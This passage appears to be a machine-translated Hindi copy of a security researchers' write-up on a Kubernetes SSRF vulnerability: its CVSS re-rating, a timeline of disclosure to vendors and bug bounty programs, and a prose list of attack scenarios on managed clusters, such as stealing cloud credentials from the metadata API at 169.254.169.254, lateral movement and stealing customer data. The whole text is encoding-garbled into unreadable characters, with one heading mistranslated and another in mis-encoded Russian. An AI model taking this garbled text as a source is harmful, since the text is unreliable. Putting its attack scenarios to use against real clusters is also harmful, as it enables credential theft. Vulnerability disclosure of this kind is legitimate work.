рдкрд░рд┐рдгрд╛рдо рдПрдХ рддреНрд░реБрдЯрд┐ рд╣реИ рдЕрдирдЪрд╛рд╣реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛, рдПрдХ рд╕рдВрджреЗрд╢ рдЬрд┐рд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд┐рдпрдВрддреНрд░рдХ рд▓реЙрдЧ рдореЗрдВ рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рд╡рд░реНрдмреЛрд╕рд┐рдЯреА рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдВрджреЗрд╢ рдХреА рд╕рд╛рдордЧреНрд░реА рднреА рд╡рд╣рд╛рдВ рд╕рд╣реЗрдЬреА рдЬрд╛рддреА рд╣реИред

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...

рдЕрд╡рдзрд╛рд░рдгрд╛ рдХреЗ рдкреНрд░рдорд╛рдг рдХреЗ рдврд╛рдВрдЪреЗ рдХреЗ рднреАрддрд░ рдпрд╣ рд╣рдорд╛рд░рд╛ рд╕рдмрд╕реЗ рдкреНрд░рднрд╛рд╡реА "рдЪрд╛рд░рд╛" рдерд╛ред

рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рдо рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдмрдВрдзрд┐рдд k8s рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд╕рдореВрд╣реЛрдВ рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреБрдЫ рд╣рдорд▓реЛрдВ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ: рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдкрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐, рдЖрджрд┐ рдорд╛рд╕реНрдЯрд░ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдкрд░ (рдЕрдирдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб) тАЛтАЛHTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд╛рд╕реНрдЯрд░ DoS, рдЖрджрд┐ред

рдкрд░рд┐рдгрд╛рдо

рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬреА рдЧрдИ рдПрд╕рдПрд╕рдЖрд░рдПрдл рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреЗ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдмрдпрд╛рди рдореЗрдВ, рдЗрд╕рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рд╕реАрд╡реАрдПрд╕рдПрд╕ 6.3/10: рд╕реАрд╡реАрдПрд╕рдПрд╕:3.0/рдПрд╡реА:рдПрди/рдПрд╕реА:рдПрдЪ/рдкреАрдЖрд░:рдПрд▓/рдпреВрдЖрдИ:рдПрди/рдПрд╕:рд╕реА/рд╕реА:рдПрдЪ/рдЖрдИ:рдПрди/рдП:рдПрдиред рдпрджрд┐ рд╣рдо рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдкрд░рд┐рдзрд┐, рдЕрдЦрдВрдбрддрд╛ рд╡реЗрдХреНрдЯрд░ рд╕реЗ рдЬреБрдбрд╝реА рднреЗрджреНрдпрддрд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ (рдЕрдЦрдВрдбрддрд╛ рд╡реЗрдХреНрдЯрд░) рдпрд╣ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдпреЛрдЧреНрдп рд╣реИ рдХреЛрдИ рдирд╣реАрдВ.

рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд рд╕реЗрд╡рд╛ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рдкрд░рд┐рдгрд╛рдореЛрдВ рдХрд╛ рдЖрдХрд▓рди рдХрд░рдирд╛ (рдФрд░ рдпрд╣ рд╣рдорд╛рд░реЗ рд╢реЛрдз рдХрд╛ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣рд┐рд╕реНрд╕рд╛ рдерд╛!) тАЛтАЛрдиреЗ рд╣рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХреЛ рд░реЗрдЯрд┐рдВрдЧ рдореЗрдВ рдкреБрдирд░реНрд╡рд░реНрдЧреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд┐рдпрд╛ред рдХреНрд░рд┐рдЯрд┐рдХрд▓ рд╕реАрд╡реАрдПрд╕рдПрд╕10/10 рдХрдИ рд╡рд┐рддрд░рдХреЛрдВ рдХреЗ рд▓рд┐рдП.

рдХреНрд▓рд╛рдЙрдб рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рдкреНрд░рднрд╛рд╡реЛрдВ рдХрд╛ рдЖрдХрд▓рди рдХрд░рддреЗ рд╕рдордп рд╣рдорд╛рд░реЗ рд╡рд┐рдЪрд╛рд░реЛрдВ рдХреЛ рд╕рдордЭрдиреЗ рдореЗрдВ рдЖрдкрдХреА рд╕рд╣рд╛рдпрддрд╛ рдХреЗ рд▓рд┐рдП рдиреАрдЪреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдирдХрд╛рд░реА рджреА рдЧрдИ рд╣реИ:

рдИрдорд╛рдирджрд╛рд░реА

  • рдкреНрд░рд╛рдкреНрдд рдЖрдВрддрд░рд┐рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред
  • рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд╕рд╛рде IDOR (рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдбрд╛рдпрд░реЗрдХреНрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рд░реЗрдлрд░реЗрдВрд╕) рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрд░реЛрдХреНрдд рдкрд░рд┐рджреГрд╢реНрдп рдХреЛ рдкреБрди: рдкреНрд░рд╕реНрддреБрдд рдХрд░рдирд╛ред

╨Ъ╨╛╨╜╤Д╨╕╨┤╨╡╨╜╤Ж╨╕╨░╨╗╤М╨╜╨╛╤Б╤В╤М

  • рдЖрдХреНрд░рдордг рдХрд╛ рдкреНрд░рдХрд╛рд░ рдкрд╛рд░реНрд╢реНрд╡ рдЖрдВрджреЛрд▓рди рдХреНрд▓рд╛рдЙрдб рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЪреЛрд░реА рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдкреАрдЖрдИ)ред
  • рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░рдХреЗ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рдирд╛ (рдПрд╕рдПрд╕рдПрдЪ рд╕рдВрд╕реНрдХрд░рдг, HTTP рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг, ... рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░рдирд╛)ред
  • рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдкреАрдЖрдИ рдЬреИрд╕реЗ рдЖрдВрддрд░рд┐рдХ рдПрдкреАрдЖрдИ рдХреЛ рдкреЛрд▓ рдХрд░рдХреЗ рдЙрджрд╛рд╣рд░рдг рдФрд░ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░реЗрдВ (http://169.254.169.254,тАж)ред
  • рдХреНрд▓рд╛рдЙрдб рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЧреНрд░рд╛рд╣рдХ рдбреЗрдЯрд╛ рдЪреЛрд░реА рдХрд░рдирд╛ред

рдЙрдкрд▓рдмреНрдзрддрд╛

рдЖрдХреНрд░рдордг рд╡реИрдХреНрдЯрд░ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рднреА рд╢реЛрд╖рдг рдкрд░рд┐рджреГрд╢реНрдп рдЕрдЦрдВрдбрддрд╛, рд╡рд┐рдирд╛рд╢рдХрд╛рд░реА рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдкрд░рд┐рдзрд┐ (рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп) рд╕реЗ рдорд╛рд╕реНрдЯрд░ рдЙрджрд╛рд╣рд░рдг рдЕрдиреБрдкрд▓рдмреНрдз рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

рдЪреВрдБрдХрд┐ рд╣рдо рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд K8s рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдереЗ рдФрд░ рдЕрдЦрдВрдбрддрд╛ рдкрд░ рдкреНрд░рднрд╛рд╡ рдХрд╛ рдЖрдХрд▓рди рдХрд░ рд░рд╣реЗ рдереЗ, рд╣рдо рдХрдИ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрдкрд▓рдмреНрдзрддрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрддрд┐рд░рд┐рдХреНрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЖрджрд┐ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рджреВрд╖рд┐рдд рдХрд░рдирд╛ рдпрд╛ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдПрдкреАрдЖрдИ рдкрд░ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХреЙрд▓ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред

рдХрд╛рд▓рдХреНрд░рдо

  • 6 рджрд┐рд╕рдВрдмрд░, 2019: MSRC рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдХреЛ рднреЗрджреНрдпрддрд╛ рдХреА рд╕реВрдЪрдирд╛ рджреА рдЧрдИред
  • 3 рдЬрдирд╡рд░реА, 2020: рдПрдХ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдиреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рд╕реВрдЪрд┐рдд рдХрд┐рдпрд╛ рдХрд┐ рд╣рдо рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЗ рдкрд░ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдФрд░ рдЙрдирд╕реЗ рдПрд╕рдПрд╕рдЖрд░рдПрдл рдХреЛ рдЖрдВрддрд░рд┐рдХ (рдЗрди-рдХреЛрд░) рднреЗрджреНрдпрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ред рдлрд┐рд░ рд╣рдордиреЗ рд╕рдорд╕реНрдпрд╛ рдХреЗ рд╕реНрд░реЛрдд рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдкреЛрд░реНрдЯ рдкреНрд░рджрд╛рди рдХреАред
  • 15 рдЬрдирд╡рд░реА, 2020: рд╣рдордиреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЙрдирдХреЗ рдЕрдиреБрд░реЛрдз рдкрд░ (рд╣реИрдХрд░рд╡рди рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рддрдХрдиреАрдХреА рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдкреЛрд░реНрдЯ рдкреНрд░рджрд╛рди рдХреАред
  • 15 рдЬрдирд╡рд░реА, 2020: рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рд╣рдореЗрдВ рд╕реВрдЪрд┐рдд рдХрд┐рдпрд╛ рдХрд┐ рдкрд┐рдЫрд▓реЗ рд░рд┐рд▓реАрдЬ рдХреЗ рд▓рд┐рдП рд╣рд╛рдл-рдмреНрд▓рд╛рдЗрдВрдб рдПрд╕рдПрд╕рдЖрд░рдПрдл + рд╕реАрдЖрд░рдПрд▓рдПрдл рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рдЗрди-рдХреЛрд░ рднреЗрджреНрдпрддрд╛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдордиреЗ рддреБрд░рдВрдд рдЕрдиреНрдп рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреА рдкрд░рд┐рдзрд┐ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛: K8s рдЯреАрдо рдЕрдм рдореВрд▓ рдХрд╛рд░рдг рд╕реЗ рдирд┐рдкрдЯ рд░рд╣реА рдереАред
  • 15 рдЬрдирд╡рд░реА, 2020: HackerOne рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ MSRC рдЗрдирд╛рдо рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖред
  • 16 рдЬрдирд╡рд░реА, 2020: рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдкреАрдПрд╕рд╕реА (рдЙрддреНрдкрд╛рдж рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд┐рддрд┐) рдиреЗ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкрд╣рдЪрд╛рдирд╛ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдкреАрдбрд╝рд┐рддреЛрдВ рдХреА рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдХрд╛рд░рдг рдЗрд╕реЗ рдорд╛рд░реНрдЪ рдХреЗ рдордзреНрдп рддрдХ рдЧреБрдкреНрдд рд░рдЦрдиреЗ рдХреЛ рдХрд╣рд╛ред
  • 11 рдлрд░рд╡рд░реА, 2020: Google VRP рдЗрдирд╛рдо рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖред
  • 4 рдорд╛рд░реНрдЪ, 2020: рд╣реИрдХрд░рд╡рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдкреБрд░рд╕реНрдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖред
  • 15 рдорд╛рд░реНрдЪ, 2020: рдореВрд▓ рд░реВрдк рд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкреНрд░рдХрдЯреАрдХрд░рдг рдХреЛ COVID-19 рд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг рд╕реНрдердЧрд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ред
  • 1 рдЬреВрди, 2020: рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ + рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдиреЗ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдВрдпреБрдХреНрдд рдмрдпрд╛рди рджрд┐рдпрд╛ред

TL, рдбреЙ

  • рд╣рдо рдмрд┐рдпрд░ рдкреАрддреЗ рд╣реИрдВ рдФрд░ рдкрд┐рдЬрд╝реНрдЬрд╝рд╛ рдЦрд╛рддреЗ рд╣реИрдВ :)
  • рд╣рдордиреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдореЗрдВ рдПрдХ рдЗрди-рдХреЛрд░ рднреЗрджреНрдпрддрд╛ рдХреА рдЦреЛрдЬ рдХреА, рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╣рдорд╛рд░рд╛ рдРрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рдЗрд░рд╛рджрд╛ рдирд╣реАрдВ рдерд╛ред
  • рд╣рдордиреЗ рд╡рд┐рднрд┐рдиреНрди рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд╕рдореВрд╣реЛрдВ рдкрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛ рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдЕрджреНрднреБрдд рдмреЛрдирд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреЗрджреНрдпрддрд╛ рдХреЗ рдХрд╛рд░рдг рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреБрдХрд╕рд╛рди рдХреЛ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред
  • рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдЖрдкрдХреЛ рдмрд╣реБрдд рд╕рд╛рд░реА рддрдХрдиреАрдХреА рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓реЗрдЧреАред рд╣рдореЗрдВ рдЖрдкрдХреЗ рд╕рд╛рде рдЙрди рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдореЗрдВ рдЦреБрд╢реА рд╣реЛрдЧреА (рдЯреНрд╡рд┐рдЯрд░: @ReeverZax & @__hach_).
  • рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╕рднреА рдкреНрд░рдХрд╛рд░ рдХреА рдФрдкрдЪрд╛рд░рд┐рдХрддрд╛рдУрдВ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ рдореЗрдВ рдЕрдкреЗрдХреНрд╖рд╛ рд╕реЗ рдЕрдзрд┐рдХ рд╕рдордп рд▓рдЧрд╛ред

рд╕рдВрджрд░реНрднреЛрдВ

рдЕрдиреБрд╡рд╛рджрдХ рд╕реЗ рдкреА.рдПрд╕

рд╣рдорд╛рд░реЗ рдмреНрд▓реЙрдЧ рдкрд░ рднреА рдкрдврд╝реЗрдВ:

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╝реЗрдВ